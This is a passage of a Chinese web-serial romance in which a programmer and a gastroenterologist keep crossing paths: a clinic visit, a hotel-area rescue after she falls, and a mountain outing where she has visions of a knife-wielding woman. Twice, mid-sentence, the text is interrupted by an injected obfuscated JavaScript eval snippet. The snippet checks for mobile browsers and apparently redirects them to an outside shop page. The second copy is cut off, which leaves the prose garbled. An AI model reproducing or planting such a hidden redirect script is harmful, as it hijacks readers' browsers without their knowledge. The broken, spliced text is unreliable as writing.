或许男人天性就是如此下贱,杨楚白在心里狠狠地谴责自己,可楼上声音实在聒噪,让他忍不住联想,不自禁想起酒吧见到的那个女人。 陆欣然。 他当时忘记服务员说了什么,回过神后,只让服务员给她披件毯子。 他记得她傍晚穿的短T恤配牛仔裤,他记得她的身形很美,他还记得她的声音很好听…… 杨楚白努力让自己摒弃这些肮脏的念头,自我嘲讽,云泥之别,她怎么可能看得上现在的自己。 / 近几日,全体组员都越发分秒必争,疯狂加班,连吃饭时间也被压缩,纯靠咖啡续命。 杨楚白站在开水房,喝了点热水,拖着步子到旁边的椅子上休息片刻,腹痛仍然没有缓解,李梓乐和陈语仝进来打水,看他脸色发白,连忙拔腿跑过去:“哥,你这是怎么了?低血糖?” 杨楚白摇摇头,低声道:“胃痛。” “是不是因为最近饮食太不规律了,”陈语仝说,“感觉楚白哥整天坐在工位上,都没怎么吃饭。” 李梓乐点头认同:“要不然还是去医院看看吧。” “没事,我刚吃了药,缓一缓就行。”杨楚白强撑着站起来,没走两步差点摔倒,幸好两人手快从侧边扶住他。 “不行,必须要去做个检查,”李梓乐抬腕看表,接近下班时间,转头说:“语仝,我跟哥去趟医院,这边你先看着,有什么问题发群里,随时联系。” 陈语仝:“好。” 公司离医院不远,开车过去十分钟就到了,候诊区还有很多人排队,李梓乐取完号把票递给他看:“02诊室,前面还有六个人。” 杨楚白点头,手机页面停在工作群,随时关注新消息。李梓乐把电脑从包里拿出来,继续处理前面遗留的问题。 因为中间跳了两个号,过了近半小时,广播提示轮到杨楚白,李梓乐立马收起电脑。 杨楚白跟着李梓乐,在他推门的时候怔住了,特意闭了下眼睛,生怕是自己用眼过度的错觉。 “哥,你站那干什么呢?”李梓乐进去没看见人,又退出来,拍了拍他。 杨楚白盯着门口显示屏上的照片和名字,反复确认后,移开视线:“没什么。” 诊室里还站着几个学生,颜简初正低头签字,然后学生抱着出科材料道谢离开,在门打开又关上的间隙,有几个患者试图混进来。 颜简初让他们先出去等,李梓乐顺手把门关紧。 她怕再有人进来,说:“帮我反锁一下,谢谢。” 诊室只剩下三个人,空间一下子宽敞不少,颜简初转了转笔,视线落在另一人脸颊,忽然顿住了,笔啪嗒落在桌面。 颜简初微蹙眉,拉了下口罩,在他刷完医保卡后点开门诊病历,看见基础信息,姓名是杨楚白,心里猜到七八分。 当事人正坐在凳子上,手里攥着那张票据,不停揉搓,颜简初看他一眼,声线平静而略显严肃:“你哪里不舒服?” “胃痛。” “多长时间了?” “大概一周。” 颜简初敲着键盘,手忽地停住,转头看他:“是哪种痛呢?烧灼样、钝痛、撕裂样还是其他的?” “烧灼吧。”杨楚白不经意地同她对视,企图从中得到些什么,但似乎什么也没有,目光下移,最终停在她的胸牌,照片和名字跟门口显示器相同。 “平常饮食习惯怎么样?”颜简初继续打字,“规律吗?” 杨楚白委婉说:“不太规律。” 李梓乐站一旁补充:“他每天只吃一餐饭。” “工作再忙都要按时吃饭。”颜简初又问了几个相关问题排除其他疾病,“家族有没有消化系统的遗传史?” “没有。” 颜简初点头,最后出于私心问:“家庭情况怎么样?有没有兄弟姐妹?” 杨楚白僵滞了几秒,缓缓说:“父母已故,没有兄弟姐妹。” 他说完后,看见她继续敲击键盘,神情还和前面一样,没有任何变化,是医生和患者的正常边界,杨楚白心里暗暗松了口气。 “我这边先给你开几种药吃几天,如果后面症状没有好转再来做相关检查。”颜简初提交病历,叮嘱道,“回去注意规律饮食,不要吃刺激性食物,咖啡什么的最好别喝,记得按时休息,然后这边刷码付一下费用。” 杨楚白点开二维码,李梓乐把手机抢过去扫描,仍不放心:“医生,应该没什么大事吧?” “急性胃炎一般及时干预调理就不会有大问题,”颜简初往后退了点距离,抬头说,“主要是不良习惯的调整,亲属多监督一下。” “好的好的,感谢医生。”李梓乐说。 “没关系。”颜简初目光稍稍偏移,发现杨楚白正默默看着自己,她没有刻意去闪躲或逃避什么,越发坦荡体面,杨楚白内心就愈加煎熬。 推门离开,下一个患者进去,李梓乐跑去座位拿电脑,杨楚白站在原地,心不在焉。他不是陈安,她也不是陆欣然,不管怎样,终究是他的谎更多一些,他想回头再看一眼,但是门口已经挤满了人,就连电子显示屏也被人挡住。 李梓乐回来拍拍他的肩,说一起去楼下拿药。 谎言就这样悄无声息地被揭穿,后面几天偶尔闲下来,颜简初回想起这件事,依旧后知后觉,他竟然也是替朋友相亲。既然所有的信息都是假的,那么……那次相亲又剩多少真实。 颜简初搞不懂为什么对这个人好奇,只能以一时兴起来安慰自己,分明没有多少次见面,每次都是那样短暂,像打结一样分开又交合,是因为世界太小了吗?她实在是捉摸不透。 周末在悦榕酒店有一场消化稳态调控与转化研讨会,颜简初对内容很感兴趣,于是在手机上报了名。下午会议结束,颜简初打车去找陈路,他正巧在这边一所高中做心理疏导,三天后女朋友生日,他一直没想好该送什么礼物,于是找颜简初帮忙参谋。 进商场没多久,陈路就被销售员连蒙带骗地带进美妆店,疯狂安利店内的礼盒套装,价格从520到1314不等,墨绿色包装盒装点着复古的花纹,三层设计囊括各类彩妆,各种花样雕刻十分精美,陈路被销售员哄得爱不释手,转头问她:“你觉得送这个怎么样?” 颜简初的视线从手机转移,蹙眉道:“不太合适,还是去其他地方看看吧。” “哦,这样吗?”陈路没看出哪里有问题。 销售员幽怨地看她一眼,隔在两人中间,开始力挽狂澜。 陈路最后还是听取了颜简初的建议,销售员则眼睁睁看着到嘴的鸭子不翼而飞。 两人去了斜对面的精品店,颜简初看见一款很百搭的发圈,递给他看:“我感觉这个挺不错的。” 陈路猛然想起:“正巧她旧的发绳刚坏。” 他又从隔壁的专柜挑了款香水,两样东西一齐打包,本来陈路打算请她吃饭作为答谢,顺便问问这两天的基本情况,但他还要回去处理些事情,时间有点来不及,只能下次再约。 陈路离开后,颜简初独自在里面逛了一会儿,买了两套睡衣,再出去时已经天黑了,她拿出手机发现已经晚上七点半。因为在茶歇期间吃了三份甜品,颜简初暂时不觉得饿。点开导航发现这边离酒店不算太远,于是决定步行。 C出口外街景的商业化气息比不得正门,马路两边很多摊车,商贩站在里面,有烟气也有凉水,颜简初买了杯仙草蜜。 街道尽头过马路再左转,有一家新开业的便利店,巧克力打八折,颜简初进去买了两盒,出门在前面的台阶上看见了杨楚白,似乎正打电话,没多久便挂了。 她抬头看,发现那是一家洗浴泡脚店,推拉门上贴了张套餐价目表,部分图片和文字比较模糊,进去的大多是些男性客户。 杨楚白只是站在台阶上,额前的短发被风吹乱几缕,五分钟过去,他似乎没有进去的意思。 又过了几分钟,四个西装革履的中年男人出现在门口,里面有人眼尖,一眼看见地上的杨楚白:“嘿,这不是杨工吗?” “小杨?你怎么在这?”站在最前面的人先是一愣,随即混合着一种优越感,“你这两天不是去享办维修系统了?怎么样,问题解决没?” “嗯,”杨楚白微低着头,看不清表情,“都解决了。” “杨工不愧是劳模哈,这种技术活还得靠你们。”有人笑道。 另一人又关心:“怎么站在门口?一起进去放松一下啊。” 杨楚白拒绝,说不用了。 那人立马拖着长调哦了一声,咧嘴笑道:“懂了!不习惯这种场合嘞!啧,也是,搞技术的都这样,老实人啦!” 几个人笑得开怀。 原来连笑都是能有口音的。 “解决了就好,”最前面那人拍拍他的肩,“回去好好休息,报销流程记得走哈,我们就先进去了。” 那些人离开没多久,里面又出来一波人,满脸红润:“楚白?还没走呢?要不要跟我们去下一趴?” 杨楚白婉拒:“你们去吧,我就算了。” “好吧好吧,那你回去注意安全。”一行人没多留他,自动分成两队上车离开。 颜简初站在后面默默注视着一切,眼睫下垂,手里的仙草蜜已经空了,走下台阶把瓶子扔进对面垃圾桶,转头看见杨楚白正沿着这条路直走,她鬼使神差地跟了上去。 路口处右转,人行道人不多,只是很多电动车往上面走,有点防不胜防。 不知道是不是她的错觉,杨楚白越走越快,两人距离逐渐拉长,在她不留神的瞬间,人不见了。 她继续往前走,左右张望,都没看见那道身影,这时有个男生骑自行车从她身边擦过,颜简初本能地往左边退,结果没站稳摔在地上,男生头也不回地离开了。 路灯隔得远,颜简初看不清楚状况,只觉得局部皮肤发烫,摊开手掌凑近看,好像出血了。 “你没事吧?” 颜简初听见熟悉的声音,紧接着她被人扶起来,对方交还礼品袋,近距离看着她,略显诧异:“颜医生?你怎么在这?” “我……”总不能说是跟他过来的,颜简初低头回避视线,努力思考措辞,琢磨两秒,她很肯定地说,“我迷路了。” 杨楚白指了指她的手机:“导航不能用吗?” 颜简初指尖蜷缩,才体会到手机的质感,遂只好继续扯谎:“这边信号不好。” 杨楚白眼中流过一丝笑意,没再追问:“你住酒店吗?” 颜简初点头:“嗯。” “哪个酒店?” 颜简初不明白他的用意,犹豫不绝。 杨楚白猜出她的顾虑,解释道:“我没别的意思,你的手擦破了需要及时清理,对面刚好有家药店,如果你的酒店不远,我可以买完药给你带路,如果很远……你不介意的话,可以先去我那处理一下,然后打车回去。” 颜简初听完思考片刻,报了酒店名:“悦榕酒店。” “那有点远了。”杨楚白说实话,询问她的意思,“你怎么想呢?” 颜简初擦了擦掌心:“就按你说的吧。” 前面又有辆电动车穿过,杨楚白拉了下她的手臂,颜简初重心不稳,整个人扑上去,另一只手不自觉攥紧他腰间的衣料,猝不及防地,两个人紧贴在一起。 颜简初鼻尖不小心蹭了蹭,闻见很淡的洗衣液的味道,身体的热量穿透衣服纤维间的空隙,相互交织渗透,落在她的脸颊,晕染出一层淡淡的粉。 她能感受到胸廓起伏,自己的,还有他的。 正加快的心率企图揭示一个秘密,颜简初身体本能率先作出反应,推开了杨楚白。 “不好意思——” “你没事吧——” 两道声音互相掩盖,然后气氛变得微妙,颜简初目光很轻地落在他脸上,仿佛怕惊动表层的微小绒毛。 昏暗的光影模糊了一些东西,也给了人增添了一点勇气:“刚才你后面有车,冒犯到你了,抱歉。” 颜简初笑容很浅:“没关系。” “我现在过去,”杨楚白指了下对面的药店,“你在这等我五分钟。” “嗯。”颜简初答应道。 杨楚白转身刚走两步,又回来,问她:“你这次……不会再消失了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126125|196085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?” 微风吹拂,颜简初睫毛轻轻颤动,瞬间明白他的意思:“不会,我站这等你回来。” “好。” 杨楚白说完便往回折返,站在天桥底下等红绿灯的间隙,偶尔回头看她一眼,眼尾弯起弧线,颜简初抬眼看过去,他已经穿过马路抵达对面,身影被天桥遮盖,不一会儿又露出来,最后走进那家药店。 她往旁边缓缓移了几步,刚好站在他背面,静静注视着那道落拓的背影,天桥上的灯光格外明亮,车辆穿梭其中,一闪而过,来来往往,越过流动的时间,她用目光丈量两人间的距离。 杨楚白跟店员说买一瓶云南白药粉、碘伏,再拿两包棉签、纱布和胶带,趁店员打包的空隙,他转身看人还在那,心里绷紧的那根弦终于松了一点。她正低着头玩手机,于是他又偷偷多看了两眼,直到店员轻叩玻璃柜,提醒他扫码付款。 药品和塑料袋摩擦,走路时沙沙作响。杨楚白顺手帮她提东西,说他的酒店就在前面,走五十米再穿个马路就到了。 酒店比较简陋,牌子都褪色了,有个字还缺了一角。一楼是间小卖部,杨楚白转头问她要不要买点什么,颜简初摇摇头说不用,于是杨楚白带她坐电梯上去,电梯空间狭窄,残留一股烟味,前面还站了一对小情侣,男生把头埋进女生脖颈,缠缠绵绵。 房间都在二楼,中途电梯不稳还颠簸了一下。颜简初慌忙抓住他的手,平稳抵达,她立马松手:“抱歉。” “没关系,”杨楚白说,“走吧。” 两人刚出电梯,前台老板正在拆一盒新的避孕套,看见又进来一男一女,很自觉地把整个盒子放台桌上,朝他们笑道:“自取哈。” 看清楚里面的东西,杨楚白语气平静地道谢,说不用。 老板卡顿半会儿又恍然大悟似的,脸上的笑更奇怪了,颜简初一脸正经,本想解释,但话到嘴边又觉得没必要,清者自清,多说反而多错。 刷卡进房间,杨楚白把房卡插进卡槽,把所有的灯打开,给她递了双一次性拖鞋:“卫生间在前面,你可以先去冲洗沙尘。” “行。”颜简初低头,血渍混着沙砾,裤子也被磨破了一块。 简单洗完出去,她看见杨楚白正坐地上看手机,好像在回复消息,药都被他拿出来依次摆好。 听见她的动静,杨楚白放下手机,视线由下往上,拍了拍床,说:“你坐这,我帮你捈药。” “我自己来就行。”颜简初不想再麻烦别人,坐地板上把裤脚挽高,撕开包装抽两根棉签,只是手不好发力,碘伏一直打不开。 颜简初看他好像真的在处理工作问题,也不想突然打断,自己又尝试几遍,仍无果。 杨楚白余光看她迟迟没有下一步动作,转头看她正拿着瓶子发呆,问道:“打不开么?” “嗯,”颜简初把瓶子递给他,“你帮我拧一下吧。” 杨楚白把东西拿过去却没有马上打开,而是把她抱到床上,沉声说:“地板冷。” 紧接着抽走她手里的棉签,轻松拧开盖子蘸取碘伏,捏着她的指尖轻轻扫过伤口。 “嘶。”颜简初手缩了一下。 “疼?”杨楚白抬头问她。 颜简初点头。 “那我轻一点。” 颜简初垂眸看了会他捈药,然后被手吸引,他的肤色不算白,偏麦色,手掌宽大,手指骨节分明,血管脉络在手背一清二楚,独属于他的温度通过指尖的神经末梢层层传递,最后激起大脑兴奋,像有羽毛轻轻扫过,不知不觉地搅乱她的思绪。 他的头发很黑很短,光落在侧面,半张脸露在光影中,衬得鼻子更加立挺,颜简初想起前两天在医院碰面,问道:“你最近还胃痛吗?” 杨楚白单膝跪地帮她擦拭膝盖的伤口,说:“吃完药就好了。” 颜简初看着他把药粉铺在纱布上,粘好胶带后贴在伤口处,问:“那你有没有按时吃饭?” “最近都挺规律的,”杨楚白说,“只是今晚还没来得及,待会忙完再出去垫一下。” “我请你。”颜简初放下裤腿说。 杨楚白把桌面收拾干净,药品都装进塑料袋:“不用,你先打车回去吧。” “可是我也没吃晚饭。”颜简初站在他后面说。 / 两人下楼去了附近的小吃街,沿摊铺绕了圈,最后走进一家东北菜馆,恰巧前面顾客刚走,空出一张双人桌。 手机点完单,江质北微信问她下午讲座情况,颜简初发了几张照片过去。 杨楚白把烫好的餐具摆在她面前,然后才开始拆自己的。 让阿姨把开水撤走,他发现颜简初正看着自己,仿佛要把他整个人看穿。 “怎么了,颜医生?” 颜简初晃回神,动了下杯子,说没什么。 她刚才在想洗浴店那番场景,过了会儿,问道:“你怎么会在这里?出差?” “嗯,”杨楚白帮她倒水,说,“之前负责的项目出了点问题,上面让我过来处理一下。” 所以前面那批人大概率是他的上司,后面那些应该是同事,颜简初如此猜测,一不小心又走神了。 “你刚才说什么?”颜简初没听见。 这时开始上菜,阿姨端了盘猪肉粉条和锅包肉摆在两人中间。 杨楚白说没什么:“先吃饭吧。” 颜简初吃完两碗粉条已经饱了,陆续喝完杯子里的水,杨楚白负责解决剩下的菜。 杯子刚放下没多久,同事打电话询问几个病人的用药情况,半分钟挂断电话,颜简初去卫生间洗手,出来时顺便跟老板结了账。 推开门帘,外面的气温似乎更低一些,颜简初让他在原地等一下,转身跑进隔壁的便利店。 她买了条口香糖,撕开包装,递了一片给杨楚白。 他接过:“谢谢。” 颜简初把口香糖塞嘴里:“不客气。” 马路边有一段台阶,颜简初喜欢在上面走,但没多久又因为重心不稳掉下来。 杨楚白看见后把手伸过去:“你可以扶我的手。” 颜简初愣了片刻,本想拒绝,但左手已经抓住他的前臂,每次快要落下去时杨楚白总能给她强有力的支撑,后半段台阶她没再掉落。 “上次相亲,我应当跟你道歉,”走了一段路,杨楚白忽然说,“因为朋友临时接到工作走不开,所以我代替了他,希望没给你造成困扰。” 颜简初笑了笑:“没关系,我也是帮同事参加,算扯平了吧。” 但想到之后的事,她的笑容逐渐消失,停下步伐,试探问:“那天晚上,你应该很快就走了吧?” 杨楚白转身,柔和的目光停留在她的眼睛。 颜简初看见他点头:“我觉得你可能遇到急事先走了,我不知道该怎么联系你,也不知道该去哪找你。又或许,你的本意就是要提前走呢。” “对不起,我当时遇到了点事情,”颜简初解释,却又觉得每个词都那么空洞,“我没有那个意思,真的。” 杨楚白只问:“那事情最后解决了吗?” 颜简初抿唇,笑笑:“嗯,都解决了。” 出租车停在路口旁边,颜简初拉开车门的时候,杨楚白叫住了她:“颜医生。” 颜简初转头,看见他大步走过来,弯腰问:“可以加个联系方式吗?” / 颜简初回酒店,洗漱完已经十点半,有个同事问她爬山活动安排得怎么样了,她才想起来还有这事。 科室每年都会组织一些娱乐放松活动,这个时间点,按往常的惯例都是爬山。山的海拔不高,一般半小时就能登顶,大部分路程包车,结束后在上面吃一顿素斋,然后乘车回去,大致流程是这样。 也正因为没什么新意,办公室都没人爱去,只是带着实习生出去亲近大自然,让他们在准备考研的间隙放松心情。 颜简初这段时间实在是太忙了,甚至连私人时间都被挤占,这种活动安排的小事早被抛到九霄云外。她建群后把二维码发给相关老师,让他们传达下去。 处理完这些琐事,手机提示低电量,她把手机扔床上充电,摘发帽走到旁边吹头发。 十五分钟过去,手机解锁,提示有新消息。 %:「你到酒店了吗?」 8. 第 8 章 颜简初坐在床沿,撩了下头发,打字回复:「嗯,你呢」 对方几乎秒回。 %:「我也到了」 颜简初看着对话框,打了一行字又缓缓删除,思索半分钟重新输入:「今晚多谢你了」 %:「没关系」 颜简初瞥了眼时间:「已经不早了,那你早点休息」 %:「好,你也是」 颜简初:「晚安」 %:「晚安」 聊天告一段落,颜简初在界面停留片刻,他的头像是一张光影图片,墙面被光线切割,明亮的梯形中投影出一道黑影,有点像他。 轻触头像进入主页,朋友圈一片空白,提示三天可见。盯着页面看了一会儿,她退出应用,手机放桌上继续充电,继而整个人躺在床上。 天花板一片雪白,她伸手展开五指,光束从指缝流出,进入她的眼睛。伤口周围泛起淡淡的红,棕褐色的药水还残留一点痕迹,她盯着细小的伤口,不自觉回想起他的模样。 似乎是个温柔体贴的男人,颜简初这么觉得。手部神经末梢还残留着肌肉的触感,当他绷紧前臂时,肌肉收缩露出好看的线条,温度从手心传递,层层递进灼烧她的心脏,血液流速好像更快了,身体莫名燥热起来,迟迟没有消退。 她很喜欢那种力量感,总忍不住想要占据。他总是会让她生出一些不恰当的念头。 各种思绪在脑海中飘忽,颜简初躺了很久才睡着。她的睡眠质量向来一般,最近半个月更糟糕了些,时常半梦半醒: 周围飘绕着白茫茫的大雾,黑沉沉一片,什么也看不清,下意识攥紧衣角,掌根一阵火辣辣的疼,颜简初摊开手看见伤口裂开,鲜血从缝里一点点渗出来,沿着手腕落在地上,划出一道弯曲的血线。 她低头,脚下有滩湖水,像镜子一样,正倒映出她的脸,头发散乱,在微风中轻轻晃动,然后她又看见了那个女人,衣衫凌乱,正笑嘻嘻地朝她走来,右手拿着把刀,锋利得仿佛能将这片无尽黑夜劈成两半,刀尖向下,正在滴血。 颜简初本能地后退,距离反而越来越近,她开始逃跑。迷雾重重,芦苇轻荡,四周杂草丛生,只有荒芜,锯齿划破她的皮肤,脚底也传来一阵刺痛,她快要力竭了,回头看,那个女人就站在不远处,一步步靠近。 耗尽最后一丝力气,却不慎被藤蔓绊倒,女人很快走到她面前,嘴角的笑意更浓,双手持刀朝她刺去,颜简初紧闭眼,场景一下子变了。 荒废的草地不复存在,取而代之的是一张整洁干净的大床,层层叠叠的雾气仍未消散,模糊了四周环境,床对面站着一个男人,穿着白色衬衫,袖口挽起露出紧实的小臂,黑色西裤平整贴合腿部,勾勒出好看的肌肉线条。 这道背影她很熟悉:“杨楚白?” 对方听见声音后转身,笑意藏在唇角,声线低而沉:“颜医生,你醒啦。” “你怎么在这?”颜简初皱眉问。 他抬手解开衣领处的两粒纽扣,笑着挑眉反问:“不是你叫我过来的么?” 颜简初心头一颤,总觉得不对劲却又说不出名堂,一切都是那样真实,喉结及下方的小痣因他的动作露了出来,下面一截锁骨被领口遮盖,时隐时现。 “我什么时候叫了你?”颜简初毫无印象。 下一秒,只见杨楚白屈腿爬上床,能清晰感受到床面下陷,被单扯出皱痕,他正缓缓靠近,最后停在她身侧,虎口卡住她的下颌迫使她抬头,随即听见他凑近低低地笑:“这应该问你啊。” 他毫无预兆地吻了上来。先是蜻蜓点水般吻了吻她的唇角,颜简初下意识地闪躲却又被他的手限制,紧接着他覆上了唇瓣,轻轻地吮吸,发出情动的响声。 颜简初不喜欢被控制,趁乱之际把他推倒在床,跨坐在他身上弯腰加深那个吻,牙齿摩擦间不小心破了皮,口腔充斥着一股铁腥味,分不清是谁的血,颜简初在此刻睁开了双眼。 刚才的一切瞬间消散不见,她躺在床上,月光从窗帘的缝隙钻进来,让她看见一点光亮。 颜简初坐起来,仔细打量四周,是她预定的酒店。她把长发撩到后面,慢慢平复下来,那些梦真实得过分了。她一定是这段时间压力太大,所以才总是看见那个女人,总是梦见些奇怪的东西。 指腹在嘴唇上来回摩挲,干燥温热又柔软的触感,不知觉地陷入那个旖旎梦境,就那样戛然而止,她竟然觉得有些惋惜。 颜简初拧开柜子上的矿泉水喝了两口,又从瓶子里倒出几片药吞服。旁边的手机忽然亮屏,她拿起来看了一眼,是骚扰短信的通知,点击已读后顺手删除,抬眼看时间,显示为凌晨三点。 她走到窗边,远处公路上正亮着灯,车辆匆匆驶过,没留下任何痕迹,不知道站了多久,她终于感到一丝疲惫,重新躺上床,很快便睡着了。 后来几天一切如常,她跟杨楚白没再联系,互加好友仿佛是种仪式感,与许多萍水相逢的人一般,平静躺在列表里,随着时间推移不断下沉。 爬山时间最终定在周六下午,同事大多对此兴致不高,只有江质北和两个新来的住院医报名参与。学生可能图个新鲜感,报名人数尚可,加起来一共十八人,包一辆大巴车从医院出发。 年初山脚新搭了片植物园,前一个月才对外开放,颜简初感觉挺有意思,于是决定中途下车先带大家在里面逛一圈。 虽说是植物园,但里面栽种类别以中草药为主。近些年,人们对中医药的认可度逐渐升高,为了更好地宣传相关知识,提升公众的文化自信和认同感,进一步扩大中医药的影响力,政府出资建了这座园子。 因为刚建不久,暂时还未配备专业讲解员,他们一行人学习的又是西医体系,对这方面了解不深,于是只能看着牌子上的介绍语简单了解。后半程意外偶遇了一位中药药师,年纪看上去五十出头,得知他们对这些草药很感兴趣,于是主动提出帮忙讲解。 颜简初头有点晕,一直慢慢跟在最后,江质北同她一起,察觉出不对劲,他问:“你怎么了?脸色不太好,是不是中暑了?” “我也不太清楚,可能是晕车吧。”颜简初说。 江质北扶着她:“要不然停下来休息一下?” 颜简初摇头,轻轻挣脱他的手:“我没事,你跟着他们吧,不用特地等我。” 江质北的手悬在半空,挣扎一番后默默放下,仍站在她身边:“我还是陪着你吧,一起搭个伴。” 颜简初歪头瞥他一眼,打趣道:“那你就听不到讲解了。” 江质北不以为然,接上她的目光:“没关系。” 他本身就不是为了讲解而来。 两人对视数秒,颜简初轻轻地笑了,移开视线,回落在旁边的花草,偶尔拿出手机拍几张照片。 经过一处泥沙地,两边种了好几棵龙眼树,有学生爬坡上去摘一小串品尝后说很甜,其余人纷纷效仿,站在不同的树下采摘。药师见状没有制止,只是调侃他们:“待会整个园子的龙眼都被你们吃光喽!” 话刚说完,一个学生塞了几颗龙眼在他手里,嬉皮笑脸道:“老师你也吃,可甜了,核小多汁!” 药师边剥边笑:“还想贿赂我。” 休息五分钟后所有人往出口走,与药师道别,大家又回到大巴车,在山中穿梭一段路程,最后抵达目的地。 这个高度向远处眺望,可以俯瞰城市的局部。群山环绕,电塔高居其间,各种房屋建筑和工厂像一个小盒子堆叠排列,再偏一点的地方可以看见方块状的田地,像铺了层翠绿色的毯子,微风轻轻吹拂,空气中飘着淡淡的树叶香气。 下车就能看见一块平地,很多私家车停在旁边,穿过去左转能看见一座寺庙,旁边挨着三间大厅,外面摆了好几排矮桌,人们坐在塑料凳上吃西瓜,还有大叔把桌子架在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没多久,她听到一阵刺耳的笑声,越来越近。她回头又看见那个疯女人,小巧的脸上爬满了皱纹,鲜血嵌在皮肤的沟壑里,缓缓流淌,从低处流下来,手里还是那把刀,似乎更锋利了,血在上面反光。 无穷的恐惧将她笼罩,她颤栗着身体,慌忙从旁边逃离,对路程失去概念,不小心腿软摔了一跤,旁边有张石桌,她艰难地往里爬,屈起身体躲在石凳后面。 不知道过了多久,有人正向她靠近,一步步走到她面前伸出手,颜简初太害怕了,本能推开同时往后退,直到没有退路。 颜简初忽然听见有人喊她:“颜医生,颜医生,我是杨楚白,颜医生……” 感官逐渐恢复,颜简初微抬起头,看见是杨楚白,眼眶一下子湿润泛红,泪水在打转,强行忍耐只起到反向效果,她不想被看到这副狼狈的样子,默默背过身去抹泪水。 杨楚白往前迈了一步,单膝跪地待在她身后,手掌轻抚她的后背,递给她纸巾:“想哭就哭吧。” 颜简初哭了很久,杨楚白耐心地陪着她,等她情绪慢慢平复,扶她坐到旁边的石凳上。 杨楚白坐在旁边,目光正直直地落在她身上,然后脱下外套披在她肩膀,说:“你衣服后面湿了,现在风大,小心感冒。” “谢谢。”颜简初拢了拢衣服,抽走最后一张纸擦鼻涕,有些难为情地看向他,“不好意思,把你的纸都用光了。” “没关系,”他指了指外套口袋,说,“如果你需要的话,里面还有一包。” 颜简初摇头道:“不用了。” “哦,好。”杨楚白点头。 气氛有一丝丝微妙,手机铃声忽然响起,两人同时摸口袋,颜简初拿出手机跟他说:“那个……是我的电话。” 杨楚白的手停在裤子边缘,才想起来自己的手机放在外套口袋里,他尴尬地笑笑:“嗯……对,是你的电话。” 颜简初看他比自己还局促,唇边弯起一抹弧线。 9. 第 9 章 电话是江质北打来的,她示意杨楚白噤声,对方点头配合,接通后听筒声音欣喜又急迫,甚至来不及换气:“简初!你现在在哪里?怎么突然不见了,电话也打不通,我们吓死了,差点就要报警。” “我没事,你们别担心,”颜简初安慰道,努力装作平常那样解释,“我当时看下面另一条路的风景很不错,想过去拍些照片,不小心走远,中途发现手机不见了,又原路返回找了很久,所以没接到你的电话。” 颜简初说话时余光瞥向旁边,杨楚白正转头看旁边的夜景,她稍微停顿多看了两眼,继续道:“不好意思,给你们添麻烦了。” “没有,你没事就好,不然……”江质北声音不自觉地压低,沉默两秒,缓缓说,“没事,那你还在上面吗?我马上过去找你。” “你先去吃饭吧,”颜简初不想害他再爬一趟,说,“我马上就下去了。这边遇到个朋友一起,你放心吧。” 江质北有点执着,颜简初没办法,折中妥协:“那你在山底下等我。” 对方答应得牵强:“好。” 颜简初挂断电话,杨楚白回头看她,指了指手机,问:“打完了?” 她点点头,攥紧手机,说:“我同事会在下面等。” “那我们现在下去吧。”杨楚白说,“别让他等太久。” “嗯。”颜简初准备起身,却因为脚麻往左晃了一下,杨楚白连忙跨步过去扶她。 “你脚怎么了?” 颜简初借他的力站稳,抬头不小心撞入他的视线,轻声解释道:“有点麻。” 旁边的草丛里有个路灯,光照穿破玻璃灯铺撒在空气中,照亮黑夜里的细节。近距离看着她,杨楚白隐约能感受到她的呼吸,温热的、潮湿的气体,像南风天的水珠,不知觉间早已爬满整座房屋,又像生机蓬勃的藤蔓,极具侵略性地装点他的心房。 “我背你下去。”他的声音有点决断。 说完便单膝跪在地上等她。 颜简初犹豫:“这太麻烦你了。” “没关系,你上来吧。”为了缓解她的心理压力,杨楚白开玩笑,“我很稳的,一定不会让你摔倒。” 颜简初避开他的目光,走过去双手圈住他的脖颈,杨楚白两只手往后绕过腘窝把人背起来。 颜简初把外套拢紧,贴在他耳边低声说:“我没有那个意思。” “嗯,”杨楚白往前迈三步下台阶,努力忽视耳畔蔓延至脖颈的酥麻感,语气平静,“我知道。” 颜简初盯着他看了一会儿,没说话了,只有林间晚风知道他们的秘密,偶尔掠过的鸟雀,时断时续的虫鸣,都是他们内心独白的倾听者,它们不会泄密,也不会干预选择,只是静静地聆听那些喜怒哀乐。 颜简初几乎贴在他身上,听见鼓点般的心跳声,生怕泄露什么,刻意分开与他的距离。 良久后,杨楚白说:“我想问个问题,不知道是否合适。” 颜简初:“你说。” “当时我看你蹲在地上冒冷汗,是发生什么事了吗?” 颜简初愣了下,脑海中又浮现那个女人,下意识圈紧他,杨楚白以为她不愿回答:“如果你不想说也没关系,抱歉,是我唐突了。” “没有。”颜简初借光看清他的侧脸,轮廓线条真的很流畅,容易让人陷进去。 过了片刻,在杨楚白想揭过这个话题时,她的声音传入耳廓:“我最近总会看见一个人,不论处于现实还是梦境,她总是拿着一把刀朝我笑,然后想杀了我。” 杨楚白不露痕迹地颤了下:“以前会么?” “偶尔,但都是静态的,只会笑着看我。”颜简初实话实说,仍隐瞒了一些细节。 “那你有没有去看过医生?” 颜简初摇头:“我以为我可以控制好。之前都只是短暂出现,然后消失很长时间。” “我总觉得自己能够掌控一切,但似乎并不是那样,”颜简初有些怅然,忽然意识到不妥,“我只是跟你说一下,别有心理负担。” “你已经很努力了,或许有时候也该向外求助。”杨楚白低头看脚下的路,石阶凹凸不平,“如果你需要的话,可以随时联系我。” “好啊。”颜简初只是答应着,并没有真去打扰他的想法。 “还不知道你怎么会在这。”她问道。 “来给家人祈福,顺便去山上逛逛。”杨楚白颠了一下,调整高度后,反问,“你呢?” 